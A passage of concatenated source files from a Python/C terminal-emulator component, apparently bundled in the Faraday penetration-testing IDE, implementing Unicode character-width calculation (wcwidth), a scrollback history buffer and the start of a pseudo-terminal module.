92 { 0x0A3C, 0x0A3C }, { 0x0A41, 0x0A42 }, { 0x0A47, 0x0A48 },
93 { 0x0A4B, 0x0A4D }, { 0x0A70, 0x0A71 }, { 0x0A81, 0x0A82 },
94 { 0x0ABC, 0x0ABC }, { 0x0AC1, 0x0AC5 }, { 0x0AC7, 0x0AC8 },
95 { 0x0ACD, 0x0ACD }, { 0x0AE2, 0x0AE3 }, { 0x0B01, 0x0B01 },
96 { 0x0B3C, 0x0B3C }, { 0x0B3F, 0x0B3F }, { 0x0B41, 0x0B43 },
97 { 0x0B4D, 0x0B4D }, { 0x0B56, 0x0B56 }, { 0x0B82, 0x0B82 },
98 { 0x0BC0, 0x0BC0 }, { 0x0BCD, 0x0BCD }, { 0x0C3E, 0x0C40 },
99 { 0x0C46, 0x0C48 }, { 0x0C4A, 0x0C4D }, { 0x0C55, 0x0C56 },
100 { 0x0CBC, 0x0CBC }, { 0x0CBF, 0x0CBF }, { 0x0CC6, 0x0CC6 },
101 { 0x0CCC, 0x0CCD }, { 0x0D41, 0x0D43 }, { 0x0D4D, 0x0D4D },
102 { 0x0DCA, 0x0DCA }, { 0x0DD2, 0x0DD4 }, { 0x0DD6, 0x0DD6 },
103 { 0x0E31, 0x0E31 }, { 0x0E34, 0x0E3A }, { 0x0E47, 0x0E4E },
104 { 0x0EB1, 0x0EB1 }, { 0x0EB4, 0x0EB9 }, { 0x0EBB, 0x0EBC },
105 { 0x0EC8, 0x0ECD }, { 0x0F18, 0x0F19 }, { 0x0F35, 0x0F35 },
106 { 0x0F37, 0x0F37 }, { 0x0F39, 0x0F39 }, { 0x0F71, 0x0F7E },
107 { 0x0F80, 0x0F84 }, { 0x0F86, 0x0F87 }, { 0x0F90, 0x0F97 },
108 { 0x0F99, 0x0FBC }, { 0x0FC6, 0x0FC6 }, { 0x102D, 0x1030 },
109 { 0x1032, 0x1032 }, { 0x1036, 0x1037 }, { 0x1039, 0x1039 },
110 { 0x1058, 0x1059 }, { 0x1160, 0x11FF }, { 0x1712, 0x1714 },
111 { 0x1732, 0x1734 }, { 0x1752, 0x1753 }, { 0x1772, 0x1773 },
112 { 0x17B4, 0x17B5 }, { 0x17B7, 0x17BD }, { 0x17C6, 0x17C6 },
113 { 0x17C9, 0x17D3 }, { 0x17DD, 0x17DD }, { 0x180B, 0x180D },
114 { 0x18A9, 0x18A9 }, { 0x1920, 0x1922 }, { 0x1927, 0x1928 },
115 { 0x1932, 0x1932 }, { 0x1939, 0x193B }, { 0x200B, 0x200F },
116 { 0x202A, 0x202E }, { 0x2060, 0x2063 }, { 0x206A, 0x206F },
117 { 0x20D0, 0x20EA }, { 0x302A, 0x302F }, { 0x3099, 0x309A },
118 { 0xFB1E, 0xFB1E }, { 0xFE00, 0xFE0F }, { 0xFE20, 0xFE23 },
119 { 0xFEFF, 0xFEFF }, { 0xFFF9, 0xFFFB }, { 0x1D167, 0x1D169 },
120 { 0x1D173, 0x1D182 }, { 0x1D185, 0x1D18B }, { 0x1D1AA, 0x1D1AD },
121 { 0xE0001, 0xE0001 }, { 0xE0020, 0xE007F }, { 0xE0100, 0xE01EF }
122 };
123
124
125 /* test for 8-bit control characters */
126 if (ucs == 0) {
127 ret = 0;
128 goto end;
129 }
130 if (ucs < 32 || (ucs >= 0x7f && ucs < 0xa0)) {
131 ret = -1;
132 goto end;
133 }
134
135 /* binary search in table of non-spacing characters */
136 if (bisearch(ucs, combining, sizeof(combining) / sizeof(struct interval) - 1)) {
137 ret = 0;
138 goto end;
139 }
140
141 /* if we arrive here, ucs is not a combining or C0/C1 control character */
142 ret = 1 +
143 (ucs >= 0x1100 &&
144 (ucs <= 0x115f || /* Hangul Jamo init. consonants */
145 ucs == 0x2329 || ucs == 0x232a ||
146 (ucs >= 0x2e80 && ucs <= 0xa4cf &&
147 ucs != 0x303f) || /* CJK ... Yi */
148 (ucs >= 0xac00 && ucs <= 0xd7a3) || /* Hangul Syllables */
149 (ucs >= 0xf900 && ucs <= 0xfaff) || /* CJK Compatibility Ideographs */
150 (ucs >= 0xfe30 && ucs <= 0xfe6f) || /* CJK Compatibility Forms */
151 (ucs >= 0xff00 && ucs <= 0xff60) || /* Fullwidth Forms */
152 (ucs >= 0xffe0 && ucs <= 0xffe6) ||
153 (ucs >= 0x20000 && ucs <= 0x2fffd) ||
154 (ucs >= 0x30000 && ucs <= 0x3fffd)));
155
156 end:
157 //printf("ret = %d\n", ret);
158 return Py_BuildValue("i", ret);
159 }
160
161 static PyMethodDef helpersMethods[] = {
162 {"wcWidth", qonsole_wcwidth, METH_VARARGS, "no help available"},
163 {NULL, NULL, 0, NULL}
164 };
165
166 void init_helpers(void)
167 {
168 PyObject* mod = Py_InitModule("_helpers", helpersMethods);
169 }
0 #ifndef _HELPERS_H_
1 #define _HELPERS_H_
2
3 int wcwidth(unsigned short ucs);
4
5 #endif
0 # Copyright (c) 2005-2006 LOGILAB S.A. (Paris, FRANCE).
1 # Copyright (c) 2005-2006 CEA Grenoble
2 # http://www.logilab.fr/ -- mailto:[email protected]
3 #
4 # This program is free software; you can redistribute it and/or modify it under
5 # the terms of the CECILL license, available at
6 # http://www.inria.fr/valorisation/logiciels/Licence.CeCILL-V2.pdf
7 #
8 """This module contains all C implemented function.
9 """
10 __revision__ = '$Id: helpers.py,v 1.4 2006-02-15 10:24:01 alf Exp $'
11
12 from _helpers import *
0 '''
1 Faraday Penetration Test IDE - Community Version
2 Copyright (C) 2013 Infobyte LLC (http://www.infobytesec.com/)
3 See the file 'doc/LICENSE' for the license information
4
5 '''
6 """
7 * This is an implementation of wcwidth() and wcswidth() (defined in
8 * IEEE Std 1002.1-2001) for Unicode.
9 *
10 * http://www.opengroup.org/onlinepubs/007904975/functions/wcwidth.html
11 * http://www.opengroup.org/onlinepubs/007904975/functions/wcswidth.html
12 *
13 * In fixed-width output devices, Latin characters all occupy a single
14 * "cell" position of equal width, whereas ideographic CJK characters
15 * occupy two such cells. Interoperability between terminal-line
16 * applications and (teletype-style) character terminals using the
17 * UTF-8 encoding requires agreement on which character should advance
18 * the cursor by how many cell positions. No established formal
19 * standards exist at present on which Unicode character shall occupy
20 * how many cell positions on character terminals. These routines are
21 * a first attempt of defining such behavior based on simple rules
22 * applied to data provided by the Unicode Consortium.
23 *
24 * For some graphical characters, the Unicode standard explicitly
25 * defines a character-cell width via the definition of the East Asian
26 * FullWidth (F), Wide (W), Half-width (H), and Narrow (Na) classes.
27 * In all these cases, there is no ambiguity about which width a
28 * terminal shall use. For characters in the East Asian Ambiguous (A)
29 * class, the width choice depends purely on a preference of backward
30 * compatibility with either historic CJK or Western practice.
31 * Choosing single-width for these characters is easy to justify as
32 * the appropriate long-term solution, as the CJK practice of
33 * displaying these characters as double-width comes from historic
34 * implementation simplicity (8-bit encoded characters were displayed
35 * single-width and 16-bit ones double-width, even for Greek,
36 * Cyrillic, etc.) and not any typographic considerations.
37 *
38 * Much less clear is the choice of width for the Not East Asian
39 * (Neutral) class. Existing practice does not dictate a width for any
40 * of these characters. It would nevertheless make sense
41 * typographically to allocate two character cells to characters such
42 * as for instance EM SPACE or VOLUME INTEGRAL, which cannot be
43 * represented adequately with a single-width glyph. The following
44 * routines at present merely assign a single-cell width to all
45 * neutral characters, in the interest of simplicity. This is not
46 * entirely satisfactory and should be reconsidered before
47 * establishing a formal standard in this area. At the moment, the
48 * decision which Not East Asian (Neutral) characters should be
49 * represented by double-width glyphs cannot yet be answered by
50 * applying a simple rule from the Unicode database content. Setting
51 * up a proper standard for the behavior of UTF-8 character terminals
52 * will require a careful analysis not only of each Unicode character,
53 * but also of each presentation form, something the author of these
54 * routines has avoided to do so far.
55 *
56 * http://www.unicode.org/unicode/reports/tr11/
57 *
58 * Markus Kuhn -- 2003-05-20 (Unicode 4.0)
59 *
60 * Permission to use, copy, modify, and distribute this software
61 * for any purpose and without fee is hereby granted. The author
62 * disclaims all warranties with regard to this software.
63 *
64 * Latest version: http://www.cl.cam.ac.uk/~mgk25/ucs/wcwidth.c
65
66 """
67
68
69 # auxiliary function for binary search in interval table
70 def _bisearch(ucs, table):
71 min = 0
72 max = len(table)-1
73
74 if ucs < table[0][0] or ucs > table[max][1]:
75 return 0
76 while max >= min:
77 mid = (min + max) / 2
78 if ucs > table[mid][1]:
79 min = mid + 1
80 elif ucs < table[mid][0]:
81 max = mid - 1
82 else:
83 return 1
84
85 return 0
86
87 """
88 * The following two functions define the column width of an ISO 10646
89 * character as follows:
90 *
91 * - The null character (U+0000) has a column width of 0.
92 *
93 * - Other C0/C1 control characters and DEL will lead to a return
94 * value of -1.
95 *
96 * - Non-spacing and enclosing combining characters (general
97 * category code Mn or Me in the Unicode database) have a
98 * column width of 0.
99 *
100 * - SOFT HYPHEN (U+00AD) has a column width of 1.
101 *
102 * - Other format characters (general category code Cf in the Unicode
103 * database) and ZERO WIDTH SPACE (U+200B) have a column width of 0.
104 *
105 * - Hangul Jamo medial vowels and final consonants (U+1160-U+11FF)
106 * have a column width of 0.
107 *
108 * - Spacing characters in the East Asian Wide (W) or East Asian
109 * Full-width (F) category as defined in Unicode Technical
110 * Report #11 have a column width of 2.
111 *
112 * - All remaining characters (including all printable
113 * ISO 8859-1 and WGL4 characters, Unicode control characters,
114 * etc.) have a column width of 1.
115 *
116 * This implementation assumes that wchar_t characters are encoded
117 * in ISO 10646.
118 """
119
120 """
121 sorted list of non-overlapping intervals of non-spacing characters
122 generated by "uniset +cat=Me +cat=Mn +cat=Cf -00AD +1160-11FF +200B c"
123 """
124
125 _combining = [
126 ( 0x0300, 0x0357 ), ( 0x035D, 0x036F ), ( 0x0483, 0x0486 ),
127 ( 0x0488, 0x0489 ), ( 0x0591, 0x05A1 ), ( 0x05A3, 0x05B9 ),
128 ( 0x05BB, 0x05BD ), ( 0x05BF, 0x05BF ), ( 0x05C1, 0x05C2 ),
129 ( 0x05C4, 0x05C4 ), ( 0x0600, 0x0603 ), ( 0x0610, 0x0615 ),
130 ( 0x064B, 0x0658 ), ( 0x0670, 0x0670 ), ( 0x06D6, 0x06E4 ),
131 ( 0x06E7, 0x06E8 ), ( 0x06EA, 0x06ED ), ( 0x070F, 0x070F ),
132 ( 0x0711, 0x0711 ), ( 0x0730, 0x074A ), ( 0x07A6, 0x07B0 ),
133 ( 0x0901, 0x0902 ), ( 0x093C, 0x093C ), ( 0x0941, 0x0948 ),
134 ( 0x094D, 0x094D ), ( 0x0951, 0x0954 ), ( 0x0962, 0x0963 ),
135 ( 0x0981, 0x0981 ), ( 0x09BC, 0x09BC ), ( 0x09C1, 0x09C4 ),
136 ( 0x09CD, 0x09CD ), ( 0x09E2, 0x09E3 ), ( 0x0A01, 0x0A02 ),
137 ( 0x0A3C, 0x0A3C ), ( 0x0A41, 0x0A42 ), ( 0x0A47, 0x0A48 ),
138 ( 0x0A4B, 0x0A4D ), ( 0x0A70, 0x0A71 ), ( 0x0A81, 0x0A82 ),
139 ( 0x0ABC, 0x0ABC ), ( 0x0AC1, 0x0AC5 ), ( 0x0AC7, 0x0AC8 ),
140 ( 0x0ACD, 0x0ACD ), ( 0x0AE2, 0x0AE3 ), ( 0x0B01, 0x0B01 ),
141 ( 0x0B3C, 0x0B3C ), ( 0x0B3F, 0x0B3F ), ( 0x0B41, 0x0B43 ),
142 ( 0x0B4D, 0x0B4D ), ( 0x0B56, 0x0B56 ), ( 0x0B82, 0x0B82 ),
143 ( 0x0BC0, 0x0BC0 ), ( 0x0BCD, 0x0BCD ), ( 0x0C3E, 0x0C40 ),
144 ( 0x0C46, 0x0C48 ), ( 0x0C4A, 0x0C4D ), ( 0x0C55, 0x0C56 ),
145 ( 0x0CBC, 0x0CBC ), ( 0x0CBF, 0x0CBF ), ( 0x0CC6, 0x0CC6 ),
146 ( 0x0CCC, 0x0CCD ), ( 0x0D41, 0x0D43 ), ( 0x0D4D, 0x0D4D ),
147 ( 0x0DCA, 0x0DCA ), ( 0x0DD2, 0x0DD4 ), ( 0x0DD6, 0x0DD6 ),
148 ( 0x0E31, 0x0E31 ), ( 0x0E34, 0x0E3A ), ( 0x0E47, 0x0E4E ),
149 ( 0x0EB1, 0x0EB1 ), ( 0x0EB4, 0x0EB9 ), ( 0x0EBB, 0x0EBC ),
150 ( 0x0EC8, 0x0ECD ), ( 0x0F18, 0x0F19 ), ( 0x0F35, 0x0F35 ),
151 ( 0x0F37, 0x0F37 ), ( 0x0F39, 0x0F39 ), ( 0x0F71, 0x0F7E ),
152 ( 0x0F80, 0x0F84 ), ( 0x0F86, 0x0F87 ), ( 0x0F90, 0x0F97 ),
153 ( 0x0F99, 0x0FBC ), ( 0x0FC6, 0x0FC6 ), ( 0x102D, 0x1030 ),
154 ( 0x1032, 0x1032 ), ( 0x1036, 0x1037 ), ( 0x1039, 0x1039 ),
155 ( 0x1058, 0x1059 ), ( 0x1160, 0x11FF ), ( 0x1712, 0x1714 ),
156 ( 0x1732, 0x1734 ), ( 0x1752, 0x1753 ), ( 0x1772, 0x1773 ),
157 ( 0x17B4, 0x17B5 ), ( 0x17B7, 0x17BD ), ( 0x17C6, 0x17C6 ),
158 ( 0x17C9, 0x17D3 ), ( 0x17DD, 0x17DD ), ( 0x180B, 0x180D ),
159 ( 0x18A9, 0x18A9 ), ( 0x1920, 0x1922 ), ( 0x1927, 0x1928 ),
160 ( 0x1932, 0x1932 ), ( 0x1939, 0x193B ), ( 0x200B, 0x200F ),
161 ( 0x202A, 0x202E ), ( 0x2060, 0x2063 ), ( 0x206A, 0x206F ),
162 ( 0x20D0, 0x20EA ), ( 0x302A, 0x302F ), ( 0x3099, 0x309A ),
163 ( 0xFB1E, 0xFB1E ), ( 0xFE00, 0xFE0F ), ( 0xFE20, 0xFE23 ),
164 ( 0xFEFF, 0xFEFF ), ( 0xFFF9, 0xFFFB ), ( 0x1D167, 0x1D169 ),
165 ( 0x1D173, 0x1D182 ), ( 0x1D185, 0x1D18B ), ( 0x1D1AA, 0x1D1AD ),
166 ( 0xE0001, 0xE0001 ), ( 0xE0020, 0xE007F ), ( 0xE0100, 0xE01EF )
167 ]
168
169 def wcwidth(c):
170 """
171 Return the width in character cells of the Unicode character
172 whose code is c
173 """
174
175 ucs = ord(c)
176 # test for 8-bit control characters
177 if ucs == 0:
178 return 0
179 if ucs < 32 or (ucs >= 0x7f and ucs < 0xa0):
180 return -1
181
182 # binary search in table of non-spacing characters
183 if _bisearch(ucs, _combining):
184 return 0
185
186 # if we arrive here, ucs is not a combining or C0/C1 control character
187
188 return 1+ \
189 (ucs >= 0x1100 and
190 (ucs <= 0x115f or # Hangul Jamo init. consonants
191 ucs == 0x2329 or ucs == 0x232a or
192 (ucs >= 0x2e80 and ucs <= 0xa4cf and
193 ucs != 0x303f) or # CJK ... Yi
194 (ucs >= 0xac00 and ucs <= 0xd7a3) or # Hangul Syllables
195 (ucs >= 0xf900 and ucs <= 0xfaff) or # CJK Compatibility Ideographs *
196 (ucs >= 0xfe30 and ucs <= 0xfe6f) or # CJK Compatibility Forms
197 (ucs >= 0xff00 and ucs <= 0xff60) or # Fullwidth Forms
198 (ucs >= 0xffe0 and ucs <= 0xffe6) or
199 (ucs >= 0x20000 and ucs <= 0x2fffd) or
200 (ucs >= 0x30000 and ucs <= 0x3fffd)))
201
202 def wcswidth( pwcs ):
203
204 """
205 Return the width in character cells of the unicode string pwcs,
206 or -1 if the string contains non-printable characters.
207 """
208
209 width = 0
210 for c in pwcs:
211 w = wcwidth(c)
212 if w < 0:
213 return -1
214 else:
215 width += w
216 return width
217
218
219 """
220 sorted list of non-overlapping intervals of East Asian Ambiguous
221 characters, generated by "uniset +WIDTH-A -cat=Me -cat=Mn -cat=Cf c"
222 """
223 _ambiguous = [
224 ( 0x00A1, 0x00A1 ), ( 0x00A4, 0x00A4 ), ( 0x00A7, 0x00A8 ),
225 ( 0x00AA, 0x00AA ), ( 0x00AE, 0x00AE ), ( 0x00B0, 0x00B4 ),
226 ( 0x00B6, 0x00BA ), ( 0x00BC, 0x00BF ), ( 0x00C6, 0x00C6 ),
227 ( 0x00D0, 0x00D0 ), ( 0x00D7, 0x00D8 ), ( 0x00DE, 0x00E1 ),
228 ( 0x00E6, 0x00E6 ), ( 0x00E8, 0x00EA ), ( 0x00EC, 0x00ED ),
229 ( 0x00F0, 0x00F0 ), ( 0x00F2, 0x00F3 ), ( 0x00F7, 0x00FA ),
230 ( 0x00FC, 0x00FC ), ( 0x00FE, 0x00FE ), ( 0x0101, 0x0101 ),
231 ( 0x0111, 0x0111 ), ( 0x0113, 0x0113 ), ( 0x011B, 0x011B ),
232 ( 0x0126, 0x0127 ), ( 0x012B, 0x012B ), ( 0x0131, 0x0133 ),
233 ( 0x0138, 0x0138 ), ( 0x013F, 0x0142 ), ( 0x0144, 0x0144 ),
234 ( 0x0148, 0x014B ), ( 0x014D, 0x014D ), ( 0x0152, 0x0153 ),
235 ( 0x0166, 0x0167 ), ( 0x016B, 0x016B ), ( 0x01CE, 0x01CE ),
236 ( 0x01D0, 0x01D0 ), ( 0x01D2, 0x01D2 ), ( 0x01D4, 0x01D4 ),
237 ( 0x01D6, 0x01D6 ), ( 0x01D8, 0x01D8 ), ( 0x01DA, 0x01DA ),
238 ( 0x01DC, 0x01DC ), ( 0x0251, 0x0251 ), ( 0x0261, 0x0261 ),
239 ( 0x02C4, 0x02C4 ), ( 0x02C7, 0x02C7 ), ( 0x02C9, 0x02CB ),
240 ( 0x02CD, 0x02CD ), ( 0x02D0, 0x02D0 ), ( 0x02D8, 0x02DB ),
241 ( 0x02DD, 0x02DD ), ( 0x02DF, 0x02DF ), ( 0x0391, 0x03A1 ),
242 ( 0x03A3, 0x03A9 ), ( 0x03B1, 0x03C1 ), ( 0x03C3, 0x03C9 ),
243 ( 0x0401, 0x0401 ), ( 0x0410, 0x044F ), ( 0x0451, 0x0451 ),
244 ( 0x2010, 0x2010 ), ( 0x2013, 0x2016 ), ( 0x2018, 0x2019 ),
245 ( 0x201C, 0x201D ), ( 0x2020, 0x2022 ), ( 0x2024, 0x2027 ),
246 ( 0x2030, 0x2030 ), ( 0x2032, 0x2033 ), ( 0x2035, 0x2035 ),
247 ( 0x203B, 0x203B ), ( 0x203E, 0x203E ), ( 0x2074, 0x2074 ),
248 ( 0x207F, 0x207F ), ( 0x2081, 0x2084 ), ( 0x20AC, 0x20AC ),
249 ( 0x2103, 0x2103 ), ( 0x2105, 0x2105 ), ( 0x2109, 0x2109 ),
250 ( 0x2113, 0x2113 ), ( 0x2116, 0x2116 ), ( 0x2121, 0x2122 ),
251 ( 0x2126, 0x2126 ), ( 0x212B, 0x212B ), ( 0x2153, 0x2154 ),
252 ( 0x215B, 0x215E ), ( 0x2160, 0x216B ), ( 0x2170, 0x2179 ),
253 ( 0x2190, 0x2199 ), ( 0x21B8, 0x21B9 ), ( 0x21D2, 0x21D2 ),
254 ( 0x21D4, 0x21D4 ), ( 0x21E7, 0x21E7 ), ( 0x2200, 0x2200 ),
255 ( 0x2202, 0x2203 ), ( 0x2207, 0x2208 ), ( 0x220B, 0x220B ),
256 ( 0x220F, 0x220F ), ( 0x2211, 0x2211 ), ( 0x2215, 0x2215 ),
257 ( 0x221A, 0x221A ), ( 0x221D, 0x2220 ), ( 0x2223, 0x2223 ),
258 ( 0x2225, 0x2225 ), ( 0x2227, 0x222C ), ( 0x222E, 0x222E ),
259 ( 0x2234, 0x2237 ), ( 0x223C, 0x223D ), ( 0x2248, 0x2248 ),
260 ( 0x224C, 0x224C ), ( 0x2252, 0x2252 ), ( 0x2260, 0x2261 ),
261 ( 0x2264, 0x2267 ), ( 0x226A, 0x226B ), ( 0x226E, 0x226F ),
262 ( 0x2282, 0x2283 ), ( 0x2286, 0x2287 ), ( 0x2295, 0x2295 ),
263 ( 0x2299, 0x2299 ), ( 0x22A5, 0x22A5 ), ( 0x22BF, 0x22BF ),
264 ( 0x2312, 0x2312 ), ( 0x2460, 0x24E9 ), ( 0x24EB, 0x254B ),
265 ( 0x2550, 0x2573 ), ( 0x2580, 0x258F ), ( 0x2592, 0x2595 ),
266 ( 0x25A0, 0x25A1 ), ( 0x25A3, 0x25A9 ), ( 0x25B2, 0x25B3 ),
267 ( 0x25B6, 0x25B7 ), ( 0x25BC, 0x25BD ), ( 0x25C0, 0x25C1 ),
268 ( 0x25C6, 0x25C8 ), ( 0x25CB, 0x25CB ), ( 0x25CE, 0x25D1 ),
269 ( 0x25E2, 0x25E5 ), ( 0x25EF, 0x25EF ), ( 0x2605, 0x2606 ),
270 ( 0x2609, 0x2609 ), ( 0x260E, 0x260F ), ( 0x2614, 0x2615 ),
271 ( 0x261C, 0x261C ), ( 0x261E, 0x261E ), ( 0x2640, 0x2640 ),
272 ( 0x2642, 0x2642 ), ( 0x2660, 0x2661 ), ( 0x2663, 0x2665 ),
273 ( 0x2667, 0x266A ), ( 0x266C, 0x266D ), ( 0x266F, 0x266F ),
274 ( 0x273D, 0x273D ), ( 0x2776, 0x277F ), ( 0xE000, 0xF8FF ),
275 ( 0xFFFD, 0xFFFD ), ( 0xF0000, 0xFFFFD ), ( 0x100000, 0x10FFFD )
276 ]
277
278 """
279 * The following functions are the same as mk_wcwidth() and
280 * mk_wcwidth_cjk(), except that spacing characters in the East Asian
281 * Ambiguous (A) category as defined in Unicode Technical Report #11
282 * have a column width of 2. This variant might be useful for users of
283 * CJK legacy encodings who want to migrate to UCS without changing
284 * the traditional terminal character-width behaviour. It is not
285 * otherwise recommended for general use.
286 """
287
288 def wcwidth_cjk(ucs):
289 """ As wcwidth above, but spacing characters in the East Asian
290 Ambiguous (A) category as defined in Unicode Technical Report #11
291 have a column width of 2.
292 """
293 if _bisearch(ucs, _ambiguous):
294 return 2
295 else:
296 return wcwidth(ucs)
297
298 def wcswidth_cjk(pwcs):
299 """ As wcswidth above, but spacing characters in the East Asian
300 Ambiguous (A) category as defined in Unicode Technical Report #11
301 have a column width of 2.
302 """
303 width = 0
304 for c in pwcs:
305 w = wcwidth_cjk(c)
306 if w < 0:
307 return -1
308 else:
309 width += w
310 return width
311
312 #####################################################################
313
314 def _measure_string(ucs, length):
315 t = 0
316 i = 0
317 while t < length and i < len(ucs):
318 t += wcswidth(ucs[i])
319 i += 1
320 return (ucs[:i], t)
321
322 def rpadstring(ucs, length, padchar=' '):
323 """ Right-pad a Unicode string with padchar so that its width in
324 character cells is length. Padchar must be of width 1. The string
325 is truncated if it is too long."""
326
327 s, t = _measure_string(ucs,length)
328
329 if t > length:
330 return s[:-1] + padchar
331 elif t < length:
332 return s + padchar * (length-t)
333 else:
334 return s
335
336 def truncatestring(ucs, length):
337 """ Truncate a Unicode string so that its length is as long as it
338 can be without exceeding length."""
339
340 s, t = _measure_string(ucs,length)
341
342 if t > length:
343 return s[:-1]
344 else:
345 return s
346
347 def wcWidth(c):
348 return wcwidth(chr(c))
0 # Copyright (c) 2005-2006 LOGILAB S.A. (Paris, FRANCE).
1 # Copyright (c) 2005-2006 CEA Grenoble
2 # http://www.logilab.fr/ -- mailto:[email protected]
3 #
4 # This program is free software; you can redistribute it and/or modify it under
5 # the terms of the CECILL license, available at
6 # http://www.inria.fr/valorisation/logiciels/Licence.CeCILL-V2.pdf
7 #
8 """Provides the History class.
9
10 An arbitrary long scroll.
11
12 One can modify the scroll only by adding either cells
13 or newlines, but access it randomly.
14
15 The model is that of an arbitrary wide typewriter scroll
16 in that the scroll is a serie of lines and each line is
17 a serie of cells with no overwriting permitted.
18
19 The implementation provides arbitrary length and numbers
20 of cells and line/column indexed read access to the scroll
21 at constant costs.
22
23 Based on the konsole code from Lars Doelle.
24
25 @author: Lars Doelle
26 @author: Benjamin Longuet
27 @author: Frederic Mantegazza
28 @author: Cyrille Boullier
29 @author: Sylvain Thenault
30 @copyright: 2003, 2005, 2006
31 @organization: CEA-Grenoble
32 @organization: Logilab
33 @license: CECILL
34 """
35
36 __revision__ = '$Id: history.py,v 1.10 2006-02-15 10:24:01 alf Exp $'
37
38
39 class HistoryTypeNone(object):
40 """History Type which does nothing"""
41 nb_lines = 0
42
43 def getScroll(self, old=None):
44 """return an instance of history implementation associated with
45 this type
46 """
47 return HistoryScrollNone()
48
49
50 class HistoryTypeBuffer(HistoryTypeNone):
51 """History Type using a buffer"""
52 def __init__(self, nb_lines):
53 super(HistoryTypeBuffer, self).__init__()
54 self.nb_lines = nb_lines
55
56 def getScroll(self, old=None):
57 """return an instance of history implementation associated with
58 this type
59 """
60 if not old:
61 return HistoryScrollBuffer(self.nb_lines)
62 if isinstance(old, HistoryScrollBuffer):
63 old.setMaxLines(self.nb_lines)
64 return old
65 scroll = HistoryScrollBuffer(self.nb_lines)
66 start = 0
67 if self.nb_lines < old.lines:
68 start = old.lines - self.nb_lines
69 for i in xrange(start, old.lines):
70 scroll.addCells(old.getCells(i, 0), old.isWrappedLine(i))
71 return scroll
72
73
74 class HistoryScrollNone(object):
75 """History Scroll which does nothing"""
76
77 def __init__(self, type_=HistoryTypeNone()):
78 self.type = type_
79 self.lines = 0
80
81 def getLineLen(self, lineno):
82 """return the size of the given line"""
83 return 0
84
85 def isWrappedLine(self, lineno):
86 """tells wether the given line is a wrapped line"""
87 return False
88
89 def hasScroll(self):
90 """return True if this history is scrollable"""
91 return False
92
93 def getCells(self, lineno, colno, count=None):
94 """return cells of the given line"""
95 return None
96
97 def addCells(self, cells, wrapped=False):
98 """add a line to the history with cells a list of Ca()"""
99 pass
100
101
102 class HistoryScrollBuffer(HistoryScrollNone):
103 """History Scroll using a circulary buffer"""
104
105 def __init__(self, max_lines):
106 super (HistoryScrollBuffer, self).__init__(HistoryTypeBuffer(max_lines))
107 self.max_lines = max_lines
108 self.lines = 0
109 self.array_index = 0
110 self.buff_filled = False
111 self.hist_buffer = [None] * max_lines
112 self.wrapped_line = [False] * max_lines
113
114 def hasScroll(self):
115 """return True if this history is scrollable"""
116 return True
117
118 def addCells(self, cells, wrapped=False):
119 """add a line to the history with cells a list of Ca()"""
120 self.hist_buffer[self.array_index] = cells
121 self.wrapped_line[self.array_index] = wrapped
122 self.array_index += 1
123 if self.array_index >= self.max_lines:
124 self.array_index = 0
125 self.buff_filled = True
126 if self.lines < self.max_lines - 1:
127 self.lines += 1
128
129 def getLineLen(self, lineno):
130 """return the size of the given line"""
131 if lineno >= self.max_lines:
132 return 0
133 line = self.hist_buffer[self._adjustLineNo(lineno)]
134 if line is not None:
135 return len(line)
136 return 0
137
138 def isWrappedLine(self, lineno):
139 """tells wether the given line is a wrapped line"""
140 if lineno >= self.max_lines:
141 return 0
142 return self.wrapped_line[self._adjustLineNo(lineno)]
143
144 def getCells(self, lineno, colno, count=None):
145 """return cells of the given line"""
146 assert lineno < self.max_lines
147 lineno = self._adjustLineNo(lineno)
148 line = self.hist_buffer[lineno]
149 assert line is not None
150 if count is None:
151 count = len(line)
152 return line[colno:colno + count]
153
154 def setMaxLines(self, max_lines):
155 """change the maximum number of lines for the history"""
156 self._normalize()
157 if self.max_lines > max_lines:
158 start = max(0, self.array_index + 2 - max_lines)
159 end = start + max_lines
160 self.hist_buffer = self.hist_buffer[start:end]
161 self.wrapped_line = self.wrapped_line[start:end]
162 if self.array_index > max_lines:
163 self.array_index = max_lines - 2
164 else:
165 self.hist_buffer += [None] * (max_lines - self.max_lines)
166 self.wrapped_line += [False] * (max_lines - self.max_lines)
167 self.max_lines = max_lines
168 if self.lines > max_lines - 2:
169 self.lines = max_lines - 2
170 self.type = HistoryTypeBuffer(max_lines)
171
172 def _normalize(self):
173 """normalize the history buffer"""
174 if not self.buff_filled: # or not self.array_index:
175 return
176 max_lines = self.max_lines
177 hist_buffer = [None] * max_lines
178 wrapped_line = [False] * max_lines
179 for k, i in enumerate(xrange(self.array_index - 1,
180 self.array_index-max_lines+1, -1)):
181 hist_buffer[max_lines - 3 - k] = self.hist_buffer[i]
182 wrapped_line[max_lines - 3 - k] = self.wrapped_line[i]
183 self.hist_buffer = hist_buffer
184 self.wrapped_line = wrapped_line
185 self.array_index = max_lines - 2
186 self.buff_filled = False
187 self.lines = max_lines - 2
188
189 def _adjustLineNo(self, lineno):
190 """adjust the given line number according to the buffer state"""
191 if self.buff_filled:
192 return (lineno + self.array_index + 2) % self.max_lines
193 else:
194 return lineno
0 __all__ = ['pty_']
0 # Copyright (c) 2005-2006 LOGILAB S.A. (Paris, FRANCE).
1 # Copyright (c) 2005-2006 CEA Grenoble
2 # http://www.logilab.fr/ -- mailto:[email protected]
3 #
4 # This program is free software; you can redistribute it and/or modify it under
5 # the terms of the CECILL license, available at
6 # http://www.inria.fr/valorisation/logiciels/Licence.CeCILL-V2.pdf
7 #
8 """Pseudo Terminal Device
9
10 Pseudo terminals are a unique feature of UNIX, and always come in form of
11 pairs of devices (/dev/ptyXX and /dev/ttyXX), which are connected to each
12 other by the operating system. One may think of them as two serial devices
13 linked by a null-modem cable. Being based on devices the number of
14 simultanous instances of this class is (globally) limited by the number of
15 those device pairs, which is 256.
16
17 Another technic are UNIX 98 PTY's. These are supported also, and prefered
18 over the (obsolete) predecessor.
19
20 There's a sinister ioctl(2), signal(2) and job control stuff
21 nessesary to make everything work as it should.
22
23 Much of the stuff can be simplified by using openpty from glibc2.
24 Compatibility issues with obsolete installations and other unixes
25 may prevent this.
26
27 Based on the konsole code from Lars Doelle.
28
29
30 @author: Lars Doelle
31 @author: Sylvain Thenault
32 @copyright: 2003, 2005, 2006
33 @organization: CEA-Grenoble
34 @organization: Logilab
35 @license: CECILL
36 """
37
38 __revision__ = '$Id: pty_.py,v 1.23 2006-02-15 10:24:01 alf Exp $'
39
40 import os
41 import errno
42 import select
43 import signal
44 import stat
45 import sys
46 from pty import openpty
47 from struct import pack
48 from fcntl import ioctl, fcntl, F_SETFL
49 from resource import getrlimit, RLIMIT_NOFILE
